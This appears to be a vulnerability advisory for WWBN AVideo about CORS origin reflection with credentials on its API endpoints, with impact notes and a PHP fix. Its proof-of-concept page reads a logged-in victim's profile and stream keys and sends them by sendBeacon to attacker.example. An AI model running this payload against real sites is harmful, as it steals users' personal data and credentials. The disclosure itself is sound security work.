WWBN AVideo has CORS Origin Reflection with Credentials on Sensitive API Endpoints Enables Cross-Origin Account Takeover

The recent fix in commit 986e64aad addressed CORS handling in the non-$allowAll path (null origin and trusted subdomains) but left this far more dangerous $allowAll=true path completely untouched.

PoC

Step 1: Host the following HTML on any domain (e.g., https://attacker.example):

<html>
<body>
<h1>AVideo CORS PoC</h1>
<script>
// Step 1: Steal user profile data (PII, admin status, stream keys)
fetch('https://TARGET/plugin/API/get.json.php?APIName=user', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  document.getElementById('result').textContent = JSON.stringify(data, null, 2);
  // Exfiltrate to attacker server
  navigator.sendBeacon('https://attacker.example/collect',
    JSON.stringify({
      email: data.user?.email,
      name: data.user?.user,
      isAdmin: data.user?.isAdmin,
      streamKey: data.livestream?.key,
      streamServer: data.livestream?.server
    })
  );
});
</script>
<pre id="result">Loading...</pre>
</body>
</html>

Step 2: Victim visits the attacker page while logged into the AVideo instance.

Step 3: The browser sends a credentialed cross-origin GET request to the API. The server responds with:

Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: true

Step 4: The attacker's JavaScript reads the full authenticated API response containing the victim's email, name, address, phone, admin status, livestream credentials, and stream keys.

Step 5 (optional escalation): The attacker can also invoke set.json.php endpoints to perform state changes on behalf of the victim.

Impact

• User PII theft: Email, full name, address, phone number, birth date of any logged-in user who visits an attacker-controlled page
• Account compromise: Livestream server credentials (including password) and stream keys are exposed, allowing stream hijacking
• Admin reconnaissance: Admin status and all permission flags are exposed, enabling targeted attacks on privileged accounts
• State modification: The set.json.php endpoint is equally affected, allowing attackers to perform write operations (video management, settings changes) on behalf of the victim
• Mass exploitation: No per-user targeting required — a single attacker page can harvest data from every logged-in visitor

Recommended Fix

Replace the permissive origin reflection in allowOrigin() with validation against the site's configured domain. The $allowAll path should validate the origin the same way the non-$allowAll path does:

// objects/functions.php:2773 — replace the $allowAll block with:
if ($allowAll) {
    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
    if (!empty($requestOrigin)) {
        // Validate origin against site domain before reflecting
        $siteOrigin = '';
        if (!empty($global['webSiteRootURL'])) {
            $parsed = parse_url($global['webSiteRootURL']);
            if (!empty($parsed['scheme']) && !empty($parsed['host'])) {
                $siteOrigin = $parsed['scheme'] . '://' . $parsed['host'];
                if (!empty($parsed['port'])) {
                    $siteOrigin .= ':' . $parsed['port'];
                }
            }
        }
        if ($requestOrigin === $siteOrigin) {
            header('Access-Control-Allow-Origin: ' . $requestOrigin);
            header('Access-Control-Allow-Credentials: true');
        } else {
            // For truly public resources (ad XML), allow without credentials
            header('Access-Control-Allow-Origin: ' . $requestOrigin);
            // Do NOT set Allow-Credentials for untrusted origins
        }
    } else {
        header('Access-Control-Allow-Origin: *');
    }
    // ... rest of headers ...
}

Additionally, consider separating the truly public endpoints (VAST/VMAP ad XML) from the sensitive API endpoints so they can have different CORS policies, rather than sharing one permissive allowOrigin(true) call.